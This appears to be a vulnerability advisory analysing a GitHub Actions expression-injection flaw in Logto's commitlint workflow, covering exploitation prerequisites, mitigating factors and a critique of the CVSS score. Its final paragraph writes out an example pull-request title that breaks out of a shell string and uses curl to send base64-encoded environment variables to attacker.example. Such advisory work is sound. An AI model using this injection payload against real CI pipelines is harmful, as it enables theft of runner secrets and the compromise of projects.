Logto EUVD-2026-62865

The attacker must be able to open a pull request against the Logto GitHub repository (logto-io/logto). On a public repository, any GitHub-authenticated user - including newly created accounts - can submit a PR, setting the effective barrier at account creation only. The vulnerable workflow (commitlint.yml) must be present at an affected version (1.40.1 to <1.41.0) and GitHub Actions must be enabled for the repository. The pull_request trigger fires automatically on PR open and synchronize events without requiring maintainer approval of the workflow run for repository members or prior contributors. Exploitation is limited by three concrete factors: (1) the GITHUB_TOKEN granted to this workflow is read-only, so injected commands cannot push commits, modify branches, create releases, or access any repository secrets; (2) all execution is isolated to an ephemeral runner VM that is destroyed after the job completes, leaving no persistent foothold; (3) no repository secrets or sensitive environment variables are mounted into this specific workflow's environment, capping the confidentiality impact to whatever transient state exists on the runner.

The NVD-assigned CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L) scores 6.3 Medium. The UI:R metric warrants scrutiny: the pull_request trigger in GitHub Actions fires automatically upon PR creation without any additional maintainer approval step, suggesting UI:N is more accurate for the typical public-repository case and would raise the score to approximately 7.3 High. Attack complexity is genuinely low - crafting a single-quote injection in a PR title requires no specialized tooling. However, real-world impact is substantially constrained: the GITHUB_TOKEN used by this workflow is explicitly read-only, no repository secrets are mounted into the workflow environment, and all injected commands execute within an ephemeral VM that is destroyed after the job completes. EPSS data was not provided in the input; given the attack surface is limited to a single project's CI pipeline rather than a broadly-deployed production service, widespread automated exploitation is unlikely. No CISA KEV listing and no public exploit code identified at time of analysis, consistent with the narrow blast radius. This CVE is most significant as a class-representative example of CI/CD expression injection risk rather than a high-impact production compromise.

An attacker opens a pull request against the public Logto GitHub repository with a title such as feat: update' && curl https://attacker.example/c2?d=$(env | base64 -w0) && echo ' - the embedded single quotes terminate and re-open the echo string while the middle payload executes as a separate shell command on the Actions runner. Because the pull_request trigger fires automatically on PR creation without maintainer approval, the attacker need only submit the PR to trigger execution; no write access to the repository or elevated GitHub permissions are required beyond possessing a GitHub account.